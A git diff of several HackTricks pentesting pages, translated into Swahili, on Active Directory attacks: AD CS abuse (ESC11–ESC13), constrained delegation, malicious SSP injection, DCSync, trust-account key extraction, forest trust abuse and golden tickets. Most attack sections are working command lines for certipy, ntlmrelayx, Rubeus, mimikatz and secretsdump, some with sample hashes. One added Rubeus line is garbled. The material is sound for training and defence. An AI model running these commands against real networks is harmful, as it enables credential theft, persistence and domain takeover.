Cheti cha uthibitisho wa mteja kinahitajika kama `Jane` kwa kutumia kigezo cha `User` kilichowekwa.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
@ -503,7 +503,7 @@ Ili kuthibitisha kupitia Schannel, chaguo la `-ldap-shell` la Certipy linatumika
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Kupitia shell ya LDAP, amri kama `set_rbcd` zinawezesha mashambulizi ya Resource-Based Constrained Delegation (RBCD), ambayo yanaweza kuhatarisha udhibiti wa eneo.
Kupitia shell ya LDAP, amri kama `set_rbcd` zinawezesha mashambulizi ya Resource-Based Constrained Delegation (RBCD), ambayo yanaweza kuhatarisha kidhibiti cha eneo.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
@ -515,7 +515,7 @@ Hali hii ya usalama pia inahusisha akaunti yoyote ya mtumiaji isiyo na `userPrin
Ikiwa CA Server haijasanidiwa na `IF_ENFORCEENCRYPTICERTREQUEST`, inaweza kufanya mashambulizi ya NTLM relay bila kusaini kupitia huduma ya RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
Unaweza kutumia `certipy` kuorodhesha ikiwa `Enforce Encryption for Requests` imezimwa na certipy itaonyesha `ESC11` Vulnerabilities.
Unaweza kutumia `certipy` kuhesabu ikiwa `Enforce Encryption for Requests` imezimwa na certipy itaonyesha `ESC11` Vulnerabilities.
```bash
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -563,9 +563,9 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
### Explanation
Wasimamizi wanaweza kuanzisha Mamlaka ya Cheti kuhifadhi kwenye kifaa cha nje kama "Yubico YubiHSM2".
Wasimamizi wanaweza kuanzisha Mamlaka ya Cheti ili kuihifadhi kwenye kifaa cha nje kama "Yubico YubiHSM2".
Ikiwa kifaa cha USB kimeunganishwa kwenye seva ya CA kupitia bandari ya USB, au seva ya kifaa cha USB katika kesi ambapo seva ya CA ni mashine ya virtual, funguo ya uthibitishaji (wakati mwingine inajulikana kama "neno la siri") inahitajika kwa Mtoa Huduma ya Hifadhi Funguo ili kuunda na kutumia funguo katika YubiHSM.
Ikiwa kifaa cha USB kimeunganishwa kwenye seva ya CA kupitia bandari ya USB, au seva ya kifaa cha USB katika kesi ambapo seva ya CA ni mashine ya virtual, funguo ya uthibitishaji (wakati mwingine inaitwa "neno la siri") inahitajika kwa Mtoa Huduma ya Hifadhi Funguo ili kuunda na kutumia funguo katika YubiHSM.
Funguo/hifadhi hii inahifadhiwa katika rejista chini ya `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` kwa maandiko wazi.
@ -573,7 +573,7 @@ Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-
### Abuse Scenario
Ikiwa funguo ya faragha ya CA imehifadhiwa kwenye kifaa halisi cha USB wakati unapata ufikiaji wa shell, inawezekana kurejesha funguo hiyo.
Ikiwa funguo ya faragha ya CA imehifadhiwa kwenye kifaa halisi cha USB wakati umepata ufikiaji wa shell, inawezekana kurejesha funguo hiyo.
Kwanza, unahitaji kupata cheti cha CA (hiki ni cha umma) na kisha:
```cmd
@ -589,12 +589,12 @@ Hatimaye, tumia amri ya certutil `-sign` kuunda cheti kipya cha kiholela kwa kut
### Maelezo
Attribute ya `msPKI-Certificate-Policy` inaruhusu sera ya utoaji kuongezwa kwenye kiolezo cha cheti. Vitu vya `msPKI-Enterprise-Oid` vinavyohusika na utoaji wa sera vinaweza kupatikana katika Muktadha wa Uwekaji wa Mipangilio (CN=OID,CN=Public Key Services,CN=Services) wa kontena la PKI OID. Sera inaweza kuunganishwa na kundi la AD kwa kutumia attribute ya `msDS-OIDToGroupLink` ya kitu hiki, ikiruhusu mfumo kumthibitisha mtumiaji anayewasilisha cheti kana kwamba yeye ni mwanachama wa kundi hilo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Attribute ya `msPKI-Certificate-Policy` inaruhusu sera ya utoaji kuongezwa kwenye kigezo cha cheti. Vitu vya `msPKI-Enterprise-Oid` ambavyo vinawajibika kwa utoaji wa sera vinaweza kupatikana katika Muktadha wa Uwekaji wa Mipangilio (CN=OID,CN=Public Key Services,CN=Services) wa kontena la PKI OID. Sera inaweza kuunganishwa na kundi la AD kwa kutumia attribute ya `msDS-OIDToGroupLink` ya kitu hiki, ikiruhusu mfumo kuidhinisha mtumiaji anayewasilisha cheti kana kwamba yeye ni mwanachama wa kundi hilo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Kwa maneno mengine, wakati mtumiaji ana ruhusa ya kujiandikisha kwa cheti na cheti kinaunganishwa na kundi la OID, mtumiaji anaweza kurithi mamlaka ya kundi hili.
Kwa maneno mengine, wakati mtumiaji ana ruhusa ya kujiandikisha kwa cheti na cheti hiyo imeunganishwa na kundi la OID, mtumiaji anaweza kurithi mamlaka ya kundi hili.
Tumia [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) kupata OIDToGroupLink:
```powershell
```bash
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
@ -625,15 +625,18 @@ Kila kinachohitajika ni kutaja template, itapata cheti chenye haki za OIDToGroup
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## Kupata Miti kwa Vyeti Iliyofafanuliwa kwa Sauti ya Pasifiki
## Kupata Misitu kwa Vyeti Iliyofafanuliwa kwa Sauti ya Pasifiki
### Kuvunjika kwa Imani za Miti na CAs Zilizoshindwa
### Kuvunjika kwa Imani za Misitu na CAs Zilizoshindwa
Mipangilio ya **kujiandikisha kwa msitu wa kuvuka** imefanywa kuwa rahisi. **Cheti cha CA cha mzizi** kutoka msitu wa rasilimali kinachapishwa kwa **misitu ya akaunti** na wasimamizi, na **vyeti vya CA ya biashara** kutoka msitu wa rasilimali vinongezwa kwenye **`NTAuthCertificates` na AIA containers katika kila msitu wa akaunti**. Ili kufafanua, mpangilio huu unampa **CA katika msitu wa rasilimali udhibiti kamili** juu ya misitu mingine yote ambayo inasimamia PKI. Ikiwa CA hii itashindwa na washambuliaji, vyeti vya watumiaji wote katika misitu ya rasilimali na akaunti vinaweza **kutengenezwa na wao**, hivyo kuvunja mpaka wa usalama wa msitu.
### Haki za Kujiandikisha Zinazotolewa kwa Wakuu wa Kigeni
### Haki za Kujiandikisha Zilizotolewa kwa Wakuu wa Kigeni
Katika mazingira ya misitu mingi, tahadhari inahitajika kuhusu CAs za Biashara ambazo **zinachapisha mifano ya vyeti** ambayo inaruhusu **Watumiaji Waliothibitishwa au wakuu wa kigeni** (watumiaji/vikundi vya nje ya msitu ambao CA ya Biashara inamiliki) **haki za kujiandikisha na kuhariri**.\
Baada ya uthibitisho kupitia imani, **SID ya Watumiaji Waliothibitishwa** inaongezwa kwenye token ya mtumiaji na AD. Hivyo, ikiwa kikoa kina CA ya Biashara yenye mfano unaoruhusu **haki za kujiandikisha za Watumiaji Waliothibitishwa**, mfano unaweza kujiandikisha na mtumiaji kutoka msitu tofauti. Vivyo hivyo, ikiwa **haki za kujiandikisha zinatolewa wazi kwa mkuu wa kigeni na mfano**, **uhusiano wa udhibiti wa ufikiaji wa kuvuka msitu unaundwa**, ukimwezesha mkuu kutoka msitu mmoja kujiandikisha katika mfano kutoka msitu mwingine.
Baada ya uthibitisho kupitia imani, **SID ya Watumiaji Waliothibitishwa** inaongezwa kwenye token ya mtumiaji na AD. Hivyo, ikiwa kikoa kina CA ya Biashara yenye mfano unaoruhusu haki za kujiandikisha za Watumiaji Waliothibitishwa, mfano unaweza kujiandikisha na mtumiaji kutoka msitu tofauti. Vivyo hivyo, ikiwa **haki za kujiandikisha zinatolewa wazi kwa mkuu wa kigeni na mfano**, **uhusiano wa udhibiti wa ufikiaji wa msitu wa kuvuka unaundwa**, ukimwezesha mkuu kutoka msitu mmoja **kujiandikisha katika mfano kutoka msitu mwingine**.
Mifano yote inasababisha **kuongezeka kwa uso wa shambulio** kutoka msitu mmoja hadi mwingine. Mipangilio ya mfano wa cheti inaweza kutumika na mshambuliaji kupata haki za ziada katika kikoa cha kigeni.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,16 +4,16 @@
## Constrained Delegation
Kwa kutumia hii, msimamizi wa Domain anaweza **kuruhusu** kompyuta **kujifanya** kama mtumiaji au kompyuta dhidi ya **huduma** ya mashine.
Kwa kutumia hii, msimamizi wa Domain anaweza **kuruhusu** kompyuta **kujifanya** kama mtumiaji au kompyuta dhidi ya **huduma** ya mashine yoyote.
- **Huduma kwa Mtumiaji kujitenga (**_**S4U2self**_**):** Ikiwa **akaunti ya huduma** ina thamani ya _userAccountControl_ inayojumuisha [TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), basi inaweza kupata TGS kwa ajili yake mwenyewe (huduma) kwa niaba ya mtumiaji mwingine yeyote.
- **Huduma kwa Mtumiaji Proxy(**_**S4U2proxy**_**):** **Akaunti ya huduma** inaweza kupata TGS kwa niaba ya mtumiaji yeyote kwa huduma iliyoainishwa katika **msDS-AllowedToDelegateTo.** Ili kufanya hivyo, kwanza inahitaji TGS kutoka kwa mtumiaji huyo kwa ajili yake, lakini inaweza kutumia S4U2self kupata TGS hiyo kabla ya kuomba nyingine.
- **Huduma kwa Mtumiaji kujitenga (_S4U2self_):** Ikiwa **akaunti ya huduma** ina thamani ya _userAccountControl_ inayojumuisha [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), basi inaweza kupata TGS kwa ajili yake mwenyewe (huduma) kwa niaba ya mtumiaji mwingine yeyote.
- **Huduma kwa Mtumiaji Proxy(_S4U2proxy_):** **Akaunti ya huduma** inaweza kupata TGS kwa niaba ya mtumiaji yeyote kwa huduma iliyowekwa katika **msDS-AllowedToDelegateTo.** Ili kufanya hivyo, kwanza inahitaji TGS kutoka kwa mtumiaji huyo kwa ajili yake mwenyewe, lakini inaweza kutumia S4U2self kupata TGS hiyo kabla ya kuomba nyingine.
**Kumbuka**: Ikiwa mtumiaji amewekwa alama kama _Akaunti ni nyeti na haiwezi kuhamasishwa_ katika AD, huwezi **kujifanya** nao.
Hii inamaanisha kwamba ikiwa utachafua hash ya huduma, unaweza **kujifanya kwa watumiaji** na kupata **ufikiaji** kwa niaba yao kwa **huduma iliyowekwa** (inawezekana **privesc**).
Hii inamaanisha kwamba ikiwa **utavunja hash ya huduma** unaweza **kujifanya kwa watumiaji** na kupata **ufikiaji** kwa niaba yao kwa huduma yoyote juu ya mashine zilizoonyeshwa (inawezekana **privesc**).
Zaidi ya hayo, **hutakuwa na ufikiaji tu kwa huduma ambayo mtumiaji anaweza kujifanya, bali pia kwa huduma yoyote** kwa sababu SPN (jina la huduma iliyohitajika) halijakaguliwa, ni ruhusa pekee. Hivyo, ikiwa una ufikiaji kwa **huduma ya CIFS** unaweza pia kuwa na ufikiaji kwa **huduma ya HOST** ukitumia bendera ya `/altservice` katika Rubeus.
Zaidi ya hayo, **hutakuwa na ufikiaji tu kwa huduma ambayo mtumiaji anaweza kujifanya, bali pia kwa huduma yoyote** kwa sababu SPN (jina la huduma iliyotakiwa) halijakaguliwa (katika tiketi sehemu hii haijaandikwa/haijasainiwa). Hivyo, ikiwa una ufikiaji kwa **huduma ya CIFS** unaweza pia kuwa na ufikiaji kwa **huduma ya HOST** kwa kutumia bendera ya `/altservice` katika Rubeus kwa mfano.
Pia, **ufikiaji wa huduma ya LDAP kwenye DC**, ndio inahitajika ili kutumia **DCSync**.
```bash:Enumerate
@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
```
```bash:Quick Way
# Generate TGT + TGS impersonating a user knowing the hash
Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
```
- Hatua ya 1: **Pata TGT ya huduma iliyoruhusiwa**
```bash:Get TGT
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
@ -36,22 +41,24 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))"
mimikatz sekurlsa::ekeys
## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
```
> [!WARNING]
> Kuna **njia nyingine za kupata tiketi ya TGT** au **RC4** au **AES256** bila kuwa SYSTEM kwenye kompyuta kama Printer Bug na unconstrained delegation, NTLM relaying na matumizi mabaya ya Active Directory Certificate Service
>
> **Kuwa na tiketi hiyo ya TGT (au iliyohashwa) unaweza kufanya shambulio hili bila kuathiri kompyuta nzima.**
- Step2: **Pata TGS kwa huduma ikijifanya kuwa mtumiaji**
```bash:Using Rubeus
#Obtain a TGS of the Administrator user to self
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
#Obtain service TGS impersonating Administrator (CIFS)
# Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
#Impersonate Administrator on different service (HOST)

View File

@ -19,15 +19,15 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
```
Ongeza `mimilib.dll` kwenye orodha ya Watoa Huduma za Usalama (Security Packages):
```powershell
```bash
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
```
Na baada ya kuanzisha upya, akreditivu zote zinaweza kupatikana kwa maandiko wazi katika `C:\Windows\System32\kiwissp.log`
#### Katika kumbukumbu
Unaweza pia kuingiza hii moja kwa moja katika kumbukumbu ukitumia Mimikatz (zingatia kwamba inaweza kuwa na kutokuwa thabiti/kutofanya kazi):
```powershell
Unaweza pia kuingiza hii moja kwa moja katika kumbukumbu ukitumia Mimikatz (zingatia kwamba inaweza kuwa na utata kidogo/isiweze kufanya kazi):
```bash
privilege::debug
misc::memssp
```
@ -35,6 +35,6 @@ Hii haitadumu baada ya kuanzisha upya.
#### Mitigation
Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
Event ID 4657 - Ukaguzi wa uundaji/mabadiliko ya `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
{{#include ../../banners/hacktricks-training.md}}

View File

@ -8,22 +8,22 @@ Ruhusa la **DCSync** linamaanisha kuwa na ruhusa hizi juu ya eneo lenyewe: **DS-
**Maelezo Muhimu Kuhusu DCSync:**
- **Shambulio la DCSync linaiga tabia ya Kituo cha Kikoa na linaomba Kituo kingine cha Kikoa kuiga taarifa** kwa kutumia Protokali ya Huduma ya Kuiga Katalogi ya Mbali (MS-DRSR). Kwa sababu MS-DRSR ni kazi halali na muhimu ya Active Directory, haiwezi kuzuiliwa au kuzimwa.
- Kwa kawaida, ni **Wakosoaji wa Kikoa, Wakosoaji wa Biashara, Wasimamizi, na Vikundi vya Kituo cha Kikoa** pekee vina ruhusa zinazohitajika.
- **Shambulio la DCSync linaiga tabia ya Kituo cha Kikoa na linaomba Kituo kingine cha Kikoa kuiga taarifa** kwa kutumia Protokali ya Huduma ya Kuiga Katalogi ya Mbali (MS-DRSR). Kwa sababu MS-DRSR ni kazi halali na muhimu ya Active Directory, haiwezi kuzuiwa au kuzimwa.
- Kwa kawaida, ni **Wadministrators wa Kikoa, Wadministrators wa Biashara, Wadministrators, na Kituo cha Kikoa** pekee ndizo zina ruhusa zinazohitajika.
- Ikiwa nywila za akaunti yoyote zimehifadhiwa kwa usimbaji wa kurudi nyuma, chaguo linapatikana katika Mimikatz kurudisha nywila hiyo kwa maandiko wazi.
### Enumeration
Angalia ni nani ana ruhusa hizi kwa kutumia `powerview`:
```powershell
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
```
### Fanya Uhalifu Kwenye Kihisia
```powershell
### Fanya Uhalifu Kwenye Kiwango cha Mitaa
```bash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
### Fanya Uhalifu kwa Mbali
```powershell
### Fanya Kazi kwa Mbali
```bash
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
@ -32,31 +32,31 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
`-just-dc` inazalisha faili 3:
- moja ikiwa na **NTLM hashes**
- moja ikiwa na **Kerberos keys**
- moja ikiwa na nywila za wazi kutoka NTDS kwa akaunti zozote zilizowekwa na [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) iliyowezeshwa. Unaweza kupata watumiaji wenye reversible encryption kwa
- moja ikiwa na **funguo za Kerberos**
- moja ikiwa na nywila za wazi kutoka NTDS kwa akaunti zozote zilizowekwa na [**sifuri za kurudi nyuma**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) zikiwa zimewezeshwa. Unaweza kupata watumiaji wenye sifuri za kurudi nyuma kwa
```powershell
```bash
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```
### Persistence
### Uendelevu
Ikiwa wewe ni admin wa domain, unaweza kutoa ruhusa hii kwa mtumiaji yeyote kwa msaada wa `powerview`:
```powershell
Ikiwa wewe ni msimamizi wa eneo, unaweza kutoa ruhusa hii kwa mtumiaji yeyote kwa msaada wa `powerview`:
```bash
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
```
Kisha, unaweza **kuangalia kama mtumiaji amepewa** haki 3 kwa kutafuta katika matokeo ya (unapaswa kuwa na uwezo wa kuona majina ya haki ndani ya uwanja wa "ObjectType"):
```powershell
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
```
### Kupunguza
### Mitigation
- Security Event ID 4662 (Sera ya Ukaguzi kwa kitu lazima iwekwe) Operesheni ilifanyika kwenye kitu
- Security Event ID 5136 (Sera ya Ukaguzi kwa kitu lazima iwekwe) Kitu cha huduma ya directory kilibadilishwa
- Security Event ID 4670 (Sera ya Ukaguzi kwa kitu lazima iwekwe) Ruhusa kwenye kitu zilibadilishwa
- Security Event ID 4662 (Audit Policy for object must be enabled) Operesheni ilifanyika kwenye kitu
- Security Event ID 5136 (Audit Policy for object must be enabled) Kitu cha huduma ya directory kilibadilishwa
- Security Event ID 4670 (Audit Policy for object must be enabled) Ruhusa kwenye kitu zilibadilishwa
- AD ACL Scanner - Unda na kulinganisha ripoti za ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
## Marejeleo
## References
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
- [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)

View File

@ -7,7 +7,7 @@ Katika hali hii **domeni yako** in **amini** baadhi ya **mamlaka** kwa kiongozi
## Enumeration
### Outbound Trust
```powershell
```bash
# Notice Outbound trust
Get-DomainTrust
SourceName : root.local
@ -30,17 +30,17 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F
```
## Trust Account Attack
Ukiukosefu wa usalama upo wakati uhusiano wa kuaminiana unapoanzishwa kati ya maeneo mawili, ambayo yanatambulika hapa kama eneo **A** na eneo **B**, ambapo eneo **B** linapanua uaminifu wake kwa eneo **A**. Katika mpangilio huu, akaunti maalum inaundwa katika eneo **A** kwa ajili ya eneo **B**, ambayo ina jukumu muhimu katika mchakato wa uthibitishaji kati ya maeneo mawili. Akaunti hii, inayohusishwa na eneo **B**, inatumika kwa ajili ya kuficha tiketi za kupata huduma kati ya maeneo.
Ukiukosefu wa usalama upo wakati uhusiano wa kuaminiana unapoanzishwa kati ya maeneo mawili, ambayo hapa yanajulikana kama eneo **A** na eneo **B**, ambapo eneo **B** linapanua uaminifu wake kwa eneo **A**. Katika mpangilio huu, akaunti maalum inaundwa katika eneo **A** kwa ajili ya eneo **B**, ambayo ina jukumu muhimu katika mchakato wa uthibitishaji kati ya maeneo mawili. Akaunti hii, inayohusishwa na eneo **B**, inatumika kwa ajili ya kuficha tiketi za kupata huduma kati ya maeneo.
Jambo muhimu kuelewa hapa ni kwamba nenosiri na hash ya akaunti hii maalum yanaweza kutolewa kutoka kwa Msimamizi wa Eneo katika eneo **A** kwa kutumia zana ya amri. Amri ya kutekeleza kitendo hiki ni:
```powershell
Jambo muhimu kuelewa hapa ni kwamba nenosiri na hash ya akaunti hii maalum yanaweza kutolewa kutoka kwa Domain Controller katika eneo **A** kwa kutumia zana ya amri. Amri ya kutekeleza kitendo hiki ni:
```bash
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
```
Hii uchimbaji inawezekana kwa sababu akaunti, iliyotambulishwa na **$** baada ya jina lake, iko hai na inahusishwa na kundi la "Domain Users" la domain **A**, hivyo ikirithi ruhusa zinazohusiana na kundi hili. Hii inawawezesha watu kuthibitisha dhidi ya domain **A** wakitumia akidi za akaunti hii.
**Warning:** Inawezekana kutumia hali hii kupata msingi katika domain **A** kama mtumiaji, ingawa kwa ruhusa zilizopunguzwa. Hata hivyo, ufikiaji huu unatosha kufanya uhesabuji katika domain **A**.
Katika hali ambapo `ext.local` ni domain inayotegemea na `root.local` ni domain inayotegemewa, akaunti ya mtumiaji iitwayo `EXT$` itaundwa ndani ya `root.local`. Kupitia zana maalum, inawezekana kutoa funguo za kuaminiana za Kerberos, zikifunua akidi za `EXT$` katika `root.local`. Amri ya kufanikisha hili ni:
Katika hali ambapo `ext.local` ni domain inayotegemea na `root.local` ni domain inayotegemewa, akaunti ya mtumiaji iliyoitwa `EXT$` ingekuwa ikiumbwa ndani ya `root.local`. Kupitia zana maalum, inawezekana kutoa funguo za kuaminiana za Kerberos, zikifunua akidi za `EXT$` katika `root.local`. Amri ya kufanikisha hili ni:
```bash
lsadump::trust /patch
```
@ -60,13 +60,13 @@ Nenosiri la wazi linaweza kupatikana kwa kubadilisha \[ CLEAR ] kutoka kwa mimik
![](<../../images/image (938).png>)
Wakati mwingine, wakati wa kuunda uhusiano wa kuaminiana, nenosiri lazima liandikwe na mtumiaji kwa ajili ya kuaminiana. Katika onyesho hili, ufunguo ni nenosiri la kuaminiana la awali na hivyo linaweza kusomeka na binadamu. Kadri ufunguo unavyobadilika (siku 30), nenosiri la wazi halitaweza kusomeka na binadamu lakini kiufundi bado linaweza kutumika.
Wakati mwingine unapounda uhusiano wa kuaminiana, nenosiri lazima liandikwe na mtumiaji kwa ajili ya kuaminiana. Katika onyesho hili, funguo ni nenosiri la kuaminiana la awali na kwa hivyo linaweza kusomwa na binadamu. Kadri funguo inavyobadilika (siku 30), nenosiri la wazi halitaweza kusomwa na binadamu lakini kiufundi bado linaweza kutumika.
Nenosiri la wazi linaweza kutumika kufanya uthibitishaji wa kawaida kama akaunti ya kuaminiana, mbadala wa kuomba TGT kwa kutumia ufunguo wa siri wa Kerberos wa akaunti ya kuaminiana. Hapa, kuuliza root.local kutoka ext.local kwa wanachama wa Domain Admins:
Nenosiri la wazi linaweza kutumika kufanya uthibitishaji wa kawaida kama akaunti ya kuaminiana, mbadala wa kuomba TGT kwa kutumia funguo ya siri ya Kerberos ya akaunti ya kuaminiana. Hapa, kuuliza root.local kutoka ext.local kwa wanachama wa Domain Admins:
![](<../../images/image (792).png>)
## Marejeleo
## Marejeo
- [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted)

View File

@ -1,4 +1,4 @@
# External Forest Domain - OneWay (Inbound) au bidirectional
# External Forest Domain - OneWay (Inbound) or bidirectional
{{#include ../../banners/hacktricks-training.md}}
@ -6,8 +6,8 @@ Katika hali hii, kikoa cha nje kinakuamini (au vyote vinajiamini), hivyo unaweza
## Enumeration
Kwanza kabisa, unahitaji **kuhesabu** **kuamini**:
```powershell
Kwanza kabisa, unahitaji **kuhesabu** **imani**:
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
@ -56,14 +56,14 @@ IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
```
Katika orodha iliyopita iligundulika kwamba mtumiaji **`crossuser`** yuko ndani ya kundi la **`External Admins`** ambalo lina **upatikanaji wa Admin** ndani ya **DC ya eneo la nje**.
In the previous enumeration it was found that the user **`crossuser`** is inside the **`External Admins`** group who has **Admin access** inside the **DC of the external domain**.
## Upatikanaji wa Awali
Ikiwa hujaweza kupata **upatikanaji maalum** wa mtumiaji wako katika eneo lingine, bado unaweza kurudi kwenye Mbinu za AD na kujaribu **privesc kutoka kwa mtumiaji asiye na mamlaka** (mambo kama kerberoasting kwa mfano):
Ikiwa hujaweza kupata ufikiaji wowote wa **maalum** wa mtumiaji wako katika eneo lingine, bado unaweza kurudi kwenye Mbinu za AD na kujaribu **privesc kutoka kwa mtumiaji asiye na mamlaka** (mambo kama kerberoasting kwa mfano):
Unaweza kutumia **Powerview functions** ili **kuorodhesha** **eneo lingine** kwa kutumia param ya `-Domain` kama ilivyo:
```powershell
You can use **Powerview functions** to **enumerate** the **other domain** using the `-Domain` param like in:
```bash
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
{{#ref}}
@ -75,7 +75,7 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
### Kuingia
Kwa kutumia njia ya kawaida na akidi za watumiaji ambao wana ufikiaji wa eneo la nje unapaswa kuwa na uwezo wa kufikia:
```powershell
```bash
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
### SID History Abuse
@ -87,7 +87,7 @@ Ikiwa mtumiaji amehamishwa **kutoka msitu mmoja hadi mwingine** na **SID Filteri
> [!WARNING]
> Kama ukumbusho, unaweza kupata funguo ya kusaini na
>
> ```powershell
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
> ```

View File

@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
```
```bash:From Windows
# Rubeus
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
@ -28,17 +34,17 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1
### Kupita njia za kawaida za kugundua
